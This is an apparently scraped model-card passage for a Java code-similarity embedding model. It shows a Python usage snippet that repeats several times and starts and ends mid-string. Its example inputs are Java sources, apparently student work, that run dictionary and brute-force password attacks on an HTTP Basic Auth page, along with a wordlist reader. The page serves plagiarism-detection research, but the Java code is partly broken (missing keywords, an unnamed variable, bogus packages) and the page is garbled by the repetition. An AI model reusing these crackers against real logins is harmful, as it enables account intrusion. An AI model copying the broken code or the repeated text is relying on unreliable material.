 retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new 